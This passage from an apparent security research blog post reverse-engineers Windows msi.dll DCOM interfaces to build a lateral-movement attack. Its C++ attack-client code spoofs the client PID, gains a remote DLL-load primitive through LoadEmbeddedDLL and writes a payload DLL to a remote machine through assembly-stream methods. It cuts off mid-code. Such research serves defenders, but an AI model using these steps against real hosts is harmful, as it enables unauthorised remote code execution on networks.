dwPrivileges,&nbsp;<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; char* rgchCookie,&nbsp;<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; int* cbCookie,&nbsp;<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; IMsiCustomAction** piCustomAction,&nbsp;<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; unsigned long* dwServerProcessId,<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; bool unkFalse);</pre><p></p><p>It creates the output COM object- <em>IMsiCustomAction** piCustomAction</em>, which, according to its name, can invoke a “custom action” on my remote target.<span style="color: rgb(209, 52, 56);">&nbsp;</span></p><p>Reversing the server-side code in <em>CMsiConfigurationManager::CreateCustomActionServer</em> we learn it impersonates the DCOM client and creates a child <em>MSIEXEC.exe</em> with its identity, which hosts the result <em>IMsiCustomAction** piCustomAction&nbsp;</em></p><p>Searching <em>msi.dll</em> for symbols on <em>IMsiCustomAction</em> reveals its IID:&nbsp;</p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltccc8628fb7cadce5" alt="fig-9-IDA-symbols-for-IID_IMsiCustomAction.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltccc8628fb7cadce5/6757642eaf051b3fc013b44e/fig-9-IDA-symbols-for-IID_IMsiCustomAction.png" height="auto" /><figcaption style="text-align: center;" style="text-align: center;">Figure 9: IDA symbols for IID_IMsiCustomAction</figcaption></div></figure><p></p><p>Using the symbol to perform the same cross-reference we did to discover <em>IMsiServer</em>, we can recreate <em>IMsiCustomAction</em>’s interface definition:&nbsp;</p><pre>IID IID_IMsiCustomAction <strong>=</strong> <strong>{</strong> 0x000c1025<strong>,</strong>0x0000<strong>,</strong>0x0000<strong>,{</strong>0xc0<strong>,</strong>0x00<strong>,</strong>0x00<strong>,</strong>0x00<strong>,</strong>0x00<strong>,</strong>0x00<strong>,</strong>0x00<strong>,</strong>0x46<strong>}</strong> <strong>};<br bold="[object Object]"/><br bold="[object Object]"/></strong>// Interface is trimmed for simplicty<br bold="[object Object]"/><br bold="[object Object]"/>struct IMsiCustomAction : IUnknown<br bold="[object Object]"/><br bold="[object Object]"/>{<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; virtual HRESULT PrepareDLLCustomAction(ushort const *,ushort const *,ushort const *,ulong,uchar,uchar,_GUID const *,_GUID const *,ulong *)=0;<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; virtual HRESULT RunDLLCustomAction(ulong,ulong *) = 0;<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; virtual HRESULT FinishDLLCustomAction(ulong) = 0;<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; virtual HRESULT RunScriptAction(int,IDispatch *,ushort const *,ushort const *,ushort,int *,int *,char * *) = 0;<br bold="[object Object]"/><br bold="[object Object]"/> [snip]<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; virtual HRESULT URTAddAssemblyInstallComponent(ushort const*,ushort const*, ushort const*) = 0;<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; virtual HRESULT URTIsAssemblyInstalled(ushort const*, ushort const*, int*, int*, char**) = 0;<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; virtual HRESULT URTProvideGlobalAssembly(ushort const*, ulong, ulong*) = 0;<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; virtual HRESULT URTCommitAssemblies(ushort const*, int*, char**) = 0;<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; virtual HRESULT URTUninstallAssembly(ushort const*, ushort const*, int*, char**) = 0;<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; virtual HRESULT URTGetAssemblyCacheItem(ushort const*, ushort const*, ulong, int*, char**) = 0;<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; virtual HRESULT URTCreateAssemblyFileStream(ushort const*, int) = 0;<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; virtual HRESULT URTWriteAssemblyBits(char *,ulong,ulong *) = 0;<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; virtual HRESULT URTCommitAssemblyStream() = 0;<br bold="[object Object]"/><br bold="[object Object]"/> [snip]<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; virtual HRESULT LoadEmbeddedDLL(ushort const*, uchar) = 0;<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; virtual HRESULT CallInitDLL(ulong,ushort const *,ulong *,ulong *) = 0;<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; virtual HRESULT CallMessageDLL(UINT, ulong, ulong*) = 0;<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; virtual HRESULT CallShutdownDLL(ulong*) = 0;<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; virtual HRESULT UnloadEmbeddedDLL() = 0;<br bold="[object Object]"/><br bold="[object Object]"/> [snip]<br bold="[object Object]"/><br bold="[object Object]"/>};</pre><p></p><p>With names like <em>RunScriptAction</em> and <em>RunDLLCustomAction</em> it seems like <em>IMsiCustomAction</em> might be our treasure trove. But, before we open it, we have to first create it with a DCOM call to <em>IMsiServer::CreateCustomActionServer</em>. Let's build our attack client:&nbsp;</p><pre>// Code stripped from remote connection and ole setupCOSERVERINFO coserverinfo = {};<br /><br />coserverinfo.pwszName = REMOTE_ADDRESS;<br /><br />coserverinfo.pAuthInfo = pAuthInfo_FOR_REMOTE_ADDRESS;<br /><br />CLSID CLSID_MsiServer = { 0x000c101c,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };<br /><br />IID IID_IMsiServer = CLSID_MsiServer;<br /><br />MULTI_QI qi ={};<br /><br />qi.pIID = &amp;IID_IMsiServer; // the interface we aim to get<br /><br />HRESULT hr = CoCreateInstanceEx(CLSID_MsiServer, NULL, CLSCTX_REMOTE_SERVER, &amp;coserverinfo, 1, &amp;qi) ;<br /><br />IMsiServer* pIMsiServerObj = qi.pItf;</pre><p></p><p>At this point <em>pIMsiServerObj</em> points to our client <em>IMsiServer</em> interface. Now we need to create the correct arguments for <em>IMsiServer::CreateCustomActionServer</em>&nbsp;</p><p>Notable arguments:<span style="color: rgb(209, 52, 56);">&nbsp;</span></p><ol><li><p><em>dwProcessId</em> is expected to contain the client PID and is treated as a local PID on the server side. If we provide our true client PID, the server side will fail to find it on the remote target and the call will fail. We can trick this check and set <em>dwProcessId</em>=4, pointing to the always-existing <em>System</em> process&nbsp;</p></li><li><p><em>PiRemoteAPI</em>, which should point to an <em>IMsiRemoteAPI</em> instance, is the trickiest to initialize. Searching through symbols from msi.dll gives us the IID of that interface&nbsp;</p></li></ol><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltdfc41e799b93eb16" alt="fig-10-IDA- symbols-for- IID_IMsiRemoteAPI.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltdfc41e799b93eb16/6757642e9628e10d351e3eb2/fig-10-IDA-_symbols-for-_IID_IMsiRemoteAPI.png" height="auto" /><figcaption style="text-align: center;" style="text-align: center;">Figure 10: IDA symbols for IID_IMsiRemoteAPI </figcaption></div></figure><p></p><pre>IID IID_IMsiRemoteApi <strong>=</strong> <strong>{</strong> 0x000c1033<strong>,</strong>0x0000<strong>,</strong>0x0000<strong>,{</strong>0xc0<strong>,</strong>0x00<strong>,</strong>0x00<strong>,</strong>0x00<strong>,</strong>0x00<strong>,</strong>0x00<strong>,</strong>0x00<strong>,</strong>0x46<strong>}</strong> <strong>};</strong></pre><p></p><p>However, because <em>CLSID_MSISERVER</em> does not implement <em>IID_IMsiRemoteApi</em>, we can't directly create it with a call to:&nbsp;</p><pre>HRESULT hr <strong>=</strong> CoCreateInstance<strong>(</strong>CLSID_MSISERVER<strong>,</strong> <strong>NULL,</strong> CLSCTX_INPROC_SERVER<strong>,</strong> IID_IMsiRemoteApi <strong>,&amp;</strong>piRemoteAPI<strong>)</strong> <strong>;</strong></pre><p><strong></strong></p><h5>Discovering An Implementing CLSID</h5><p></p><p>Heads up: this section covers a technical reverse-engineering process. We will demonstrate how to correctly invoke <em>IMsiServer::CreateCustomActionServer</em>. If you're not interested in the detailed drill-down, feel free to skip to “<strong>The Secured Actions.</strong>”&nbsp;&nbsp;</p><p>To create an instance of <em>IMsiRemoteApi</em> we need to find the <em>CLSID</em> of the class that implements it. We’ll start by searching for a symbol named <em>CLSID_MsiRemoteApi</em> in msi.dll. However, this time no results are returned:&nbsp;</p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltd1837a9d41309111" alt="fig-11-no-results-CLSID_MsiRemoteApi.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltd1837a9d41309111/6757643f4657c8dce3d1c9d7/fig-11-no-results-CLSID_MsiRemoteApi.png" height="auto" /><figcaption style="text-align: center;" style="text-align: center;">Figure 11: No results searching CLSID_MsiRemoteApi</figcaption></div></figure><p><span style="color: rgb(14, 40, 65);"></span></p><p>We are left trying to trace where <em>IID_IMsiRemoteApi</em> is created within msi.dll, using cross-references:&nbsp;</p><ul><li><p>Cross-referencing <em>IID_IMsiRemoteApi,</em> we find <em>CMsiRemoteAPI::QueryInterface</em>, which is part of the<em> IMsiRemoteApi</em> interface&nbsp;</p></li></ul><ul><li><p>Searching <em>CMsiRemoteAPI::QueryInterface</em> leads to <em>IMsiRemoteApi</em>’s vtable in the .rdata section, which is marked with a symbol named <em>??_7CMsiRemoteAPI@@6B@:&nbsp;</em></p></li></ul><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltdd54d3bfb99771d1" alt="fig-12-CMsiRemoteApiVtable.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltdd54d3bfb99771d1/6757643f4e76752949eee8f0/fig-12-CMsiRemoteApiVtable.png" height="auto" /><figcaption style="text-align: center;" style="text-align: center;">Figure 12: CMsiRemoteAPI::`vftable' </figcaption></div></figure><p><span style="color: rgb(14, 40, 65);"></span></p><ul><li><p>Searching <em>??_7CMsiRemoteAPI@@6B@</em> leads to <em>CMsiRemoteAPI::CMsiRemoteAPI,</em> which is the constructor for <em>IMsiRemoteApi </em>instances&nbsp;</p></li></ul><ul><li><p>Searching the constructor leads to <em>CreateMsiRemoteAPI</em>, a factory method that invokes it&nbsp;</p></li></ul><ul><li><p>Searching the factory method shows it’s the <strong>9th</strong> element in an array of factory methods named <em>rgFactory</em>, which are located in the .rdata section:&nbsp;</p></li></ul><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt57e5ad117bf111a8" alt="fig-13-rgFactory .png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt57e5ad117bf111a8/6757643f6801016d5756a3cf/fig-13-rgFactory_.png" height="auto" /><figcaption style="text-align: center;" style="text-align: center;">Figure 13: rgFactory </figcaption></div></figure><p><span style="color: rgb(14, 40, 65);"></span></p><ul><li><p>Searching usages of <em>rgFactory</em> shows it's used in <em>CModuleFactory::CreateInstance</em>:&nbsp;&nbsp;</p></li></ul><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltc005f71bf62c0ea4" alt="fig-14-CModuleFactory-CreateInstance.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc005f71bf62c0ea4/6757643f8a58e9e5bef0fe94/fig-14-CModuleFactory-CreateInstance.png" height="auto" /><figcaption style="text-align: center;" style="text-align: center;">Figure 14: CModuleFactory::CreateInstance’s reversed pseudo code </figcaption></div></figure><p></p><p>We can see that<em> CModuleFactory::CreateInstance</em> pulls a method from <em>rgFactory</em> at an index and invokes it to create an object and return it with <em>outObject</em>.&nbsp;</p><p>This will happen if, at the same <em>index</em>, a GUID pulled from <em>rgCLSID</em> (green line in the snippet) is equal to the input argument <em>_GUID *inCLSID</em>.&nbsp;</p><p><em>rgCLSID</em> is a global variable that points to a CLSID array in the .rdata section</p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt4167fb3b592b48ef" alt="fig-15-rgCLSID.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt4167fb3b592b48ef/6757643ffc312adb815699f7/fig-15-rgCLSID.png" height="auto" /><figcaption style="text-align: center;" style="text-align: center;">Figure 15: rgCLSID snipped </figcaption></div></figure><p>&nbsp;</p><p>The 9th element in this array, which will cause invocation of <em>CreateMsiRemoteAPI</em> (the 9th member of <em>rgFactory</em>), is the CLSID:&nbsp;</p><pre>CLSID CLSID_MsiRemoteApi <strong>=</strong> <strong>{</strong> 0x000c1035<strong>,</strong>0x0000<strong>,</strong>0x0000<strong>,{</strong>0xc0<strong>,</strong>0x00<strong>,</strong>0x00<strong>,</strong>0x00<strong>,</strong>0x00<strong>,</strong>0x00<strong>,</strong>0x00<strong>,</strong>0x46<strong>}</strong> <strong>};</strong></pre><p><span style="color: rgb(209, 52, 56);"></span></p><p>This means that if <em>CModuleFactory::CreateInstance</em> is invoked with a <em>CLSID_MsiRemoteApi</em>, it will create our desired instance of <em>IMsiRemoteAPI* piRemoteAPI</em>.&nbsp;</p><p>We are now left with a task to invoke <em>CModuleFactory::CreateInstance</em> from our client code.&nbsp;</p><p></p><h5>IClassFactory</h5><p></p><p>While <em>CModuleFactory::CreateInstance</em> is not a public export, cross-referencing it leads to <em>CModuleFactory</em>'s vtable:&nbsp;</p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt2c4d80b68237fe56" alt="fig-16-CModuleFactory-Vtable.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt2c4d80b68237fe56/6757643f68010125b656a3d3/fig-16-CModuleFactory-Vtable.png" height="auto" /><figcaption style="text-align: center;" style="text-align: center;">Figure 16: CModuleFactory's vtable</figcaption></div></figure><p></p><p>The first method in the vtable is a <em>QueryInterface</em> implementation, which means <em>CModuleFactory</em> is an interface implementation. The next two Nullsubs are empty implementations of <em>IUnkown::AddRef</em> &amp; <em>IUnkown::Release</em>, and the next two methods are:&nbsp;</p><ul><li><p><em>CreateInstance</em> (which we reversed)&nbsp;</p></li></ul><ul><li><p><em>LockServer</em>&nbsp;</p></li></ul><p>Searching those methods in <a href="https://learn.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iclassfactory"><u>MSDN</u></a> reveals <em>IClassFactory</em>, an interface that defines a factory design pattern for COM object creation in implementing DLLs. The functionality of this interface is accessed through a method called <em>DllGetClassObject</em>, which is exported by the implementing DLLs, including <em>msi.dll.</em></p><p>This is how we invoke <em>msi.dll!DllGetClassObject</em> to create our target <em>IMsiRemoteAPI* piRemoteAPI</em>:&nbsp;</p><pre>// code stripped from error handling<br /><br /><strong>typedef</strong> HRESULT(*DllGetClassObjectFunc)(<br /><br />&nbsp;&nbsp;&nbsp; REFCLSID rclsid,<br /><br />&nbsp;&nbsp;&nbsp; REFIID&nbsp;&nbsp; riid,<br /><br />&nbsp;&nbsp;&nbsp; LPVOID* ppv<br /><br />);<br /><br />// we dont need the definition of IMsiRemoteApi if we just want to instantiate it&nbsp;&nbsp;<br /><br />typedef IUnknown IMsiRemoteApi;&nbsp;<br /><br />HMODULE hmsi = LoadLibraryA("msi.dll");<br /><br />IClassFactory* pfact;<br /><br />IUnknown* punkRemoteApi;<br /><br />IMsiRemoteApi* piRemoteAPI;<br /><br />DllGetClassObjectFunc DllGetClassObject = (DllGetClassObjectFunc)GetProcAddress(hdll, "DllGetClassObject");<br /><br />// creating the CLSID_MsiRemoteApi class<br /><br />HRESULT hr = DllGetClassObject(CLSID_MsiRemoteApi, IID_IClassFactory, (PVOID*)&amp;pfact);<br /><br />// piRemoteAPI initilized to IMsiRemoteApi*<br /><br />hr = pfact-&gt;CreateInstance(NULL, CLSID_MsiRemoteApi, (PVOID*)&amp;punkMsiRemoteApi);<br /><br />hr = punkMsiRemoteApi-&gt;QueryInterface(IID_IMsiRemoteApi, reinterpret_cast&lt;void**&gt;(piRemoteAPI));</pre><p></p><p>We can now invoke <em>IMsiServer::CreateCustomActionServer</em> to create the target <em>IMsiCustomAction** piCustomAction</em> instance:&nbsp;</p><pre>IMsiRemoteAPI<strong>*</strong> pRemApi <strong>=</strong> // created above;<br /><br />const int cookieSize = 16; // a constant size CreateCustomActionServer anticipates<br /><br />icacCustomActionContext icacContext = icac64Impersonated; // an enum value<br /><br />const unsigned long fakeRemoteClientPid = 4;<br /><br />unsigned long outServerPid = 0;<br /><br />IMsiCustomAction* pMsiAction = <strong>nullptr</strong>; // CreateCustomActionServer's output<br /><br />int iRemoteAPICookieSize = cookieSize;<br /><br />char rgchCookie[cookieSize];<br /><br />WCHAR* pvEnvironment = GetEnvironmentStringsW();<br /><br />DWORD cEnv = GetEnvironmentSizeW(pvEnvironment);<br /><br />HRESULT msiresult =&nbsp; pIMsiServerObj-&gt;CreateCustomActionServer(icacContext, fakeRemoteClientPid, pRemApi, pvEnvironment, cEnv, 0, rgchCookie, &amp;iRemoteAPICookieSize, &amp;pMsiAction,&amp;outServerPid,0, 0);</pre><p><strong></strong></p><h5>The Secured Actions</h5><p></p><p>Our newly created <em>IMsiCustomAction* pMsiAction</em> allows us to run “custom actions” from a remote MSIEXEC.EXE process, and now our focus is finding a method from <em>IMsiCustomAction</em> that can execute code – giving us a new lateral movement technique.&nbsp;<span style="color: rgb(209, 52, 56);">&nbsp;</span></p><p>As we have seen before, <em>IMsiCustomAction</em> contains a couple of promising function names like <em>RunScriptAction</em> and <em>RunDLLCustomAction</em>&nbsp;</p><p>Reversing these functions shows that they allow loading and running an export from a DLL of our liking or executing in-memory custom script contents (VBS or JS)! Seems too good to be true? It is.&nbsp;</p><p>Windows prevents this functionality from being invoked in a remote DCOM context, with a simple check at the start of these functions:&nbsp;</p><pre><strong>if(</strong>RPCRT4<strong>::</strong>I_RpcBindingInqLocalClientPID<strong>(</strong>0<strong>,</strong> <strong>&amp;</strong>OutLocalClientPid<strong>)&amp;&amp;<br bold="[object Object]"/>&nbsp; <br bold="[object Object]"/> </strong>OutLocalClientPid != RegisteredLocalClientPid<strong>)<br bold="[object Object]"/><br bold="[object Object]"/>{<br bold="[object Object]"/><br bold="[object Object]"/>return </strong>ERROR_ACCESS_DENIED;<strong><br bold="[object Object]"/><br bold="[object Object]"/>}</strong></pre><p></p><p>It turns out <em>I_RpcBindingInqLocalClientPID</em> fails when a client is remote (during a DCOM session), and we are blocked.&nbsp;</p><p>We need to look for functions where this security check does not exist.</p><p></p><h5><strong>Unsecured Load Primitive</strong>&nbsp;</h5><p></p><p>We will now focus our search on unsecured <em>IMsiCustomAction</em> methods by cross-referencing usages of<em> I_RpcBindingInqLocalClientPID</em> and exploring functions of <em>IMsiCustomAction</em> that don’t use it.&nbsp;</p><p>The next function that meets this criterion is <em>IMsiCustomAction::LoadEmbeddedDll(wchar_t const* dllPath, bool debug)</em>;.&nbsp;&nbsp;</p><p>Reversing this function reveals:&nbsp;</p><ol><li><p><em>LoadEmbeddedDLL</em> invokes <em>Loadlibrary</em> on the <em>dllPath</em> parameter and saves its handle.&nbsp;</p></li><li><p>Attempts to resolve three exports from <em>dllPath</em> and saves their address.&nbsp;</p><ol><li><p><em>InitializeEmbeddedUI&nbsp;</em></p></li><li><p><em>ShutdownEmbeddedUI&nbsp;</em></p></li><li><p><em>EmbeddedUIHandler&nbsp;</em></p></li></ol></li><li><p><em>LoadEmbeddedDLL</em> will not fail on non-existing exports&nbsp;</p></li></ol><p>Testing confirms that we have a remote load primitive on every DLL on the remote system!&nbsp;</p><pre>&nbsp;// Loads any DLL path into the remote MSIEXEC.exe instance hosting pMsiAction</pre><pre>pMsiAction<strong>-&gt;</strong>LoadEmbeddedDLL<strong>(</strong>L"C:\Windows\System32\wininet.dll"<strong>,false);</strong></pre><p></p><p>Is this enough for lateral movement? Not on its own. Simply loading a benign pre-existing DLL from the target system’s HD does not give us control over the code the DLL runs at load time.&nbsp;&nbsp;</p><p>However, if we could remotely write a DLL to the machine and provide its path to <em>LoadEmbeddedDLL</em> we would find a full attack.&nbsp;</p><p><a href="https://securityboulevard.com/2023/10/lateral-movement-abuse-the-power-of-dcom-excel-application/"><u>Some attacks</u></a> delegate responsibility after finding such a primitive and suggest separately writing a payload to the machine with SMB access. However, this type of access is very noisy, and usually blocked.&nbsp;</p><p>Using <em>IMsiCustomAction</em> I aim to find a self-sufficient write primitive to the remote machine’s HD.&nbsp;</p><p></p><h5>A Remote Write Primitive</h5><p></p><p>A combination of function names in the <em>IMsiCustomAction</em> interface leads me to believe a remote write primitive is possible:&nbsp;</p><ul><li><p><em>IMsiCustomAction::URTCreateAssemblyFileStream&nbsp;</em></p></li></ul><ul><li><p><em>IMsiCustomAction::URTWriteAssemblyBits&nbsp;</em></p></li></ul><p>Reversing<em> IMsiCustomAction::URTCreateAssemblyFileStream</em> shows a couple of initializing functions must run before it.&nbsp;</p><p>The following sequence will allow us to create a file stream, write to it, and commit it:</p><p>1. The below function will initialize data required for invoking the next function</p><pre>HRESULT IMsiCustomAction::URTAddAssemblyInstallComponent<strong>(<br bold="[object Object]"/><br bold="[object Object]"/></strong> wchar_t const* UserDefinedGuid1,<br bold="[object Object]"/><br bold="[object Object]"/> wchar_t const* UserDefinedGuid2,<br bold="[object Object]"/><br bold="[object Object]"/> wchar_t const* UserDefinedName);</pre><p></p><p>2. The following function creates an internal instance of<em> IAssemblyCacheItem*</em>, a documented object that manages a file stream&nbsp;</p><pre>HRESULT IMsiCustomAction::URTGetAssemblyCacheItem<strong>(<br bold="[object Object]"/><br bold="[object Object]"/></strong> wchar_t const* UserDefinedGuid1,<br bold="[object Object]"/><br bold="[object Object]"/> wchar_t const* UserDefinedGuid2,<br bold="[object Object]"/><br bold="[object Object]"/> ulong zeroed,<br bold="[object Object]"/><br bold="[object Object]"/> int* pInt,<br bold="[object Object]"/><br bold="[object Object]"/> char** pStr);</pre><p></p><p>3. &nbsp;Then <em>URTCreateAssemblyFileStream</em> invokes <em>IAssemblyCacheItem::CreateStream</em> and creates an instance of <em>IStream*</em> with the parameters provided above. The future file’s name will be <em>FileName</em>. It will save the <em>IStream*</em> to an internal variable.&nbsp;</p><pre>HRESULT IMsiCustomAction::URTCreateAssemblyFileStream<strong>(<br bold="[object Object]"/> </strong>wchar_t const* FileName,<br bold="[object Object]"/><br bold="[object Object]"/> int Format);</pre><p></p><p>4. The function below invokes <em>IStream::Write</em> to write the number of bytes specified in <em>ulong cb</em> from <em>const char* pv</em> to the file stream and returns the number of bytes written in <em>pcbWritten</em>.&nbsp;</p><pre>HRESULT IMsiCustomAction::URTWriteAssemblyBits<strong>(<br bold="[object Object]"/><br bold="[object Object]"/></strong> const char* pv,<br bold="[object Object]"/><br bold="[object Object]"/> ulong cb, ulong* pcbWritten);</pre><p></p><p>5. Finally, the following function commits the Stream contents to a new file, using <em>IStream::Commit</em>.&nbsp;</p><pre>&nbsp;HRESULT IMsiCustomAction::URTCommitAssemblyStream<strong>();</strong></pre><p></p><p>We’ll prepare a dummy <em>payload.dll</em>, and upload it to the target machine with the prior function sequence:&nbsp;</p><pre>char<strong>*</strong> outc <strong>=</strong> <strong>nullptr;<br bold="[object Object]"/><br bold="[object Object]"/></strong>int outi <strong>=</strong> 0<strong>;<br bold="[object Object]"/><br bold="[object Object]"/></strong>LPCWSTR mocGuid1 <strong>=</strong> L"{13333337-1337-1337-1337-133333333337}"<strong>;<br bold="[object Object]"/><br bold="[object Object]"/></strong>LPCWSTR mocGuid2 <strong>=</strong> L"{13333338-1338-1338-1338-133333333338}"<strong>;<br bold="[object Object]"/><br bold="[object Object]"/></strong>LPCWSTR asmName <strong>=</strong> L"payload.dll"<strong>;<br bold="[object Object]"/><br bold="[object Object]"/></strong>LPCWSTR assmblyPath <strong>=</strong> L"c:\local\path\to\your\payload.dll"<strong>;<br bold="[object Object]"/><br bold="[object Object]"/></strong>hr <strong>=</strong> pMsiAction<strong>-&gt;</strong>URTAddAssemblyInstallComponent<strong>(</strong>mocGuid1<strong>,</strong> mocGuid2<strong>,</strong> asmName<strong>);<br bold="[object Object]"/><br bold="[object Object]"/></strong>hr <strong>=</strong> pMsiAction<strong>-&gt;</strong>URTGetAssemblyCacheItem<strong>(</strong>mocGuid1<strong>,</strong> mocGuid2<strong>,</strong> 0<strong>,&amp;</strong>outi <strong>,&amp;</strong>outc<strong>);<br bold="[object Object]"/><br bold="[object Object]"/></strong>hr <strong>=</strong> pMsiAction<strong>-&gt;</strong>URTCreateAssemblyFileStream<strong>(</strong>assmblyPath<strong>,</strong> STREAM_FORMAT_COMPLIB_MANIFEST<strong>);<br bold="[object Object]"/><br bold="[object Object]"/></strong>HANDLE hAsm <strong>=</strong> CreateFileW<strong>(</strong>assmblyPath<strong>,</strong> GENERIC_READ<strong>,</strong> 0<strong>,</strong> <strong>NULL,</strong> OPEN_EXISTING<strong>,</strong> FILE_ATTRIBUTE_NORMAL<strong>,</strong> <strong>NULL);<br bold="[object Object]"/><br bold="[object Object]"/></strong>DWORD asmSize<strong>,</strong> sizeRead<strong>;<br bold="[object Object]"/><br bold="[object Object]"/></strong>GetFileSize<strong>(</strong>hAsm<strong>,</strong> <strong>NULL);<br bold="[object Object]"/><br bold="[object Object]"/></strong>char<strong>*</strong> content <strong>=</strong> <strong>new</strong> char<strong>[</strong>asmSize<strong>];<br bold="[object Object]"/><br bold="[object Object]"/></strong>readStatus <strong>=</strong> ReadEntireFile<strong>(</strong>hAsm<strong>,</strong> asmSize<strong>,</strong> <strong>&amp;</strong>sizeRead<strong>,</strong> content<strong>);<br bold="[object Object]"/><br bold="[object Object]"/></strong>ulong written <strong>=</strong> 0<strong>;<br bold="[object Object]"/><br bold="[object Object]"/></strong>hr <strong>=</strong> pMsiAction<strong>-&gt;</strong>URTWriteAssemblyBits<strong>(</strong>content<strong>,</strong> asmSize<strong>,</strong> <strong>&amp;</strong>written<strong>);<br bold="[object Object]"/><br bold="[object Object]"/></strong>hr <strong>=</strong> pMsiAction<strong>-&gt;</strong>URTCommitAssemblyStream<strong>();</strong></pre><p></p><p>The entire sequence succeeds; however, we get no indication of where <em>payload.dll </em>was written.&nbsp;</p><p>Searching the remote machine for a file named <em>payload.dll</em> reveals its path:&nbsp;&nbsp;</p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltd48b71e0134473d1" alt="fig-17-Searching-the-payload .png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltd48b71e0134473d1/6757643f117e7eb6844693a4/fig-17-Searching-the-payload_.png" height="auto" /><figcaption style="text-align: center;" style="text-align: center;">Figure 17: Searching the payload.dll file on the target </figcaption></div></figure><p><span style="color: rgb(14, 40, 65);"></span></p><p>Re-running our code generates <em>payload.dll</em> in a similar path:&nbsp;</p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltd7722206d15d00f1" alt="fig-18-Searching-the-payload2.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltd7722206d15d00f1/6757643fa3d521f0b651c30c/fig-18-Searching-the-payload2.png" height="auto" /><figcaption style="text-align: center;" style="text-align: center;">Figure 18: Searching payload.dll after a re-run </figcaption></div></figure><p></p><p>The format of those paths is <em>C:\assembly\tmp\[RANDOM_8_LETTERS]\payload.dll</em>. Since <em>RANDOM_8_LETTERS</em> cannot be predicted we can't just follow up with a call to our load primitive <em>IMsiCustomAction::LoadEmbeddedDll</em> on the said path.&nbsp;</p><p>We need to find a way to put our <em>payload.dll</em> in a predictable path, and <em>IMsiCustomAction</em> hooks us up yet again&nbsp;</p><p></p><h5>Controlling The Path</h5><p></p><p>The next method we reverse is <em>IMsiCustomAction::URTCommitAssemblies</em> and we find out it uses the documented function <em>IAssemblyCacheItem::Commit</em> on the stream:&nbsp;</p><p>This function installs a .NET assembly to the Global Assembly Cache (GAC), under a predictable path within <em>C:\Windows\Microsoft.NET\assembly\GAC*</em>. This makes using <em>IMsiCustomAction::URTCommitAssemblies</em> our new goal.&nbsp;</p><p>Assemblies stored in the GAC must be identified with a strong name <span style="color: rgb(0, 0, 0);">–</span> a signature created with a public-private key pair that ensures the uniqueness of the assembly.&nbsp;</p><p>Considering this, with our goal to successfully use <em>URTCommitAssemblies</em> and plant our payload in a predictable path, we will change payload.dll to a .NET assembly DLL with a strong name:&nbsp;</p><pre>// example x64 dummy POC for .NET payload.dll<br /><br />// a strong name should be set for the dll in the VS compilation settings<br /><br /><strong>namespace</strong> payload<br /><br />{<br /><br />&nbsp;&nbsp;&nbsp; public class Class1<br /><br /> {<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public static void DummyNotDLLMain()<br /><br /> {<br /><br /> }<br /><br /> }<br /><br />}</pre><p><strong></strong></p><p>We update our code to use <em>IMsiCustomAction::URTCommitAssemblies</em> on the new payload and re-run it:&nbsp;</p><pre>HRESULT URTCommitAssemblies<strong>(</strong>wchar_t const<strong>*</strong> UserDefinedGuid1<strong>,</strong> int<strong>*</strong> pInt<strong>,</strong> char<strong>**</strong> pStr<strong>);<br bold="[object Object]"/><br bold="[object Object]"/></strong>int 